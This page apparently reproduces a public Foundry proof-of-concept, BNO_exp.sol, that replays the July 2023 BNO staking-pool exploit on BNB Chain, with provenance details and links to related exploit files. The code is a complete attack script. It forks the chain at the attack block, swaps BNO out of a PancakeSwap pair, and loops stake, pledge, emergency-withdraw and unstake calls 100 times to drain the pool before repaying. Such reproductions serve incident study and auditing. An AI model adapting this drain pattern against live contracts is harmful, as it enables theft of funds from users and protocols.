Public reproduction file
src/test/2023-07/BNO_exp.sol
Public reproduction file for dataset entry BNO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$505K8// Attacker : https://bscscan.com/address/0xa6566574edc60d7b2adbacedb71d5142cf2677fb9// Attacker Contract : https://bscscan.com/address/0xd138b9a58d3e5f4be1cd5ec90b66310e241c13cd10// Vulnerable Contract : https://bscscan.com/address/0xdca503449899d5649d32175a255a8835a03e400611// Attack Tx : https://bscscan.com/tx/0x33fed54de490797b99b2fc7a159e43af57e9e6bdefc2c2d052dc814cfe0096b913// @Analysis14// https://twitter.com/BeosinAlert/status/168111620666387661016interface IPool {17 function emergencyWithdraw() external;19 function stakeNft(20 uint256[] memory tokenIds21 ) external payable;23 function unstakeNft(24 uint256[] memory tokenIds25 ) external payable;27 function pledge(28 uint256 _stakeAmount29 ) external payable;30}32contract BNOTest is Test {33 IERC721 NFT = IERC721(0x8EE0C2709a34E9FDa43f2bD5179FA4c112bEd89A);34 IERC20 BNO = IERC20(0xa4dBc813F7E1bf5827859e278594B1E0Ec1F710F);35 IPancakePair PancakePair = IPancakePair(0x4B9c234779A3332b74DBaFf57559EC5b4cB078BD);36 IPool Pool = IPool(0xdCA503449899d5649D32175a255A8835A03E4006);37 address private constant attacker = 0xA6566574eDC60D7B2AdbacEdB71D5142cf2677fB;38 address private constant attackerContract = 0xD138b9a58D3e5f4be1CD5eC90B66310e241C13CD;40 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);42 function setUp() public {43 cheats.createSelectFork("bsc", 30_056_629);44 cheats.label(address(NFT), "NFT");45 cheats.label(address(BNO), "BNO");46 cheats.label(address(PancakePair), "PancakePair");47 cheats.label(address(Pool), "Pool");48 cheats.label(attacker, "Attacker");49 cheats.label(attackerContract, "Attacker Contract");50 }52 function testExploit() public {53 cheats.startPrank(attackerContract);54 NFT.transferFrom(attacker, address(this), 13);55 NFT.transferFrom(attacker, address(this), 14);56 cheats.stopPrank();58 emit log_named_decimal_uint(59 "Attacker balance of BNO before exploit", BNO.balanceOf(address(this)), BNO.decimals()60 );61 PancakePair.swap(0, BNO.balanceOf(address(PancakePair)) - 1, address(this), hex"00");62 emit log_named_decimal_uint(63 "Attacker balance of BNO after exploit", BNO.balanceOf(address(this)), BNO.decimals()64 );65 }67 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {68 BNO.approve(address(Pool), type(uint256).max);69 for (uint256 i; i < 100; i++) {70 callEmergencyWithdraw();71 }72 BNO.transfer(address(PancakePair), 296_077 * 1e18);73 }75 function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {76 return this.onERC721Received.selector;77 }79 function callEmergencyWithdraw() internal {80 NFT.approve(address(Pool), 13);81 NFT.approve(address(Pool), 14);83 uint256[] memory tokenIds = new uint256[](2);84 tokenIds[0] = 13;85 tokenIds[1] = 14;86 Pool.stakeNft{value: 0.008 ether}(tokenIds);87 Pool.pledge{value: 0.008 ether}(BNO.balanceOf(address(this)));88 // Emergency withdraw is made without withdrawing the staked NFTs89 Pool.emergencyWithdraw();90 // Stake is canceled but NFTs are still claimable91 Pool.unstakeNft{value: 0.008 ether}(tokenIds);92 }93}Analysis
Dataset entry
Public Foundry test for “BNO” (2023-07-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa6566574edc60d7b2adbacedb71d5142cf2677fb
- Attacker
0xd138b9a58d3e5f4be1cd5ec90b66310e241c13cd
- Vulnerable Contract
0xdca503449899d5649d32175a255a8835a03e4006
- Attack Tx
0x33fed54de490797b99b2fc7a159e43af57e9e6bdefc2c2d052dc814cfe0096b9
- Explorer: https://bscscan.com/address/0xa6566574edc60d7b2adbacedb71d5142cf2677fb
- Explorer: https://bscscan.com/address/0xd138b9a58d3e5f4be1cd5ec90b66310e241c13cd
- Explorer: https://bscscan.com/address/0xdca503449899d5649d32175a255a8835a03e4006
- Reference: https://twitter.com/BeosinAlert/status/1681116206663876610
File record
- Name
- BNO
- Path
- src/test/2023-07/BNO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f328cf45525d8e61b97a6894206f63a6b3d407f0
- Language
- Solidity
- Size
- 94 lines
- Date
- 2023-07-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/BNO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f328cf45525d8e61b97a6894206f63a6b3d407f0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.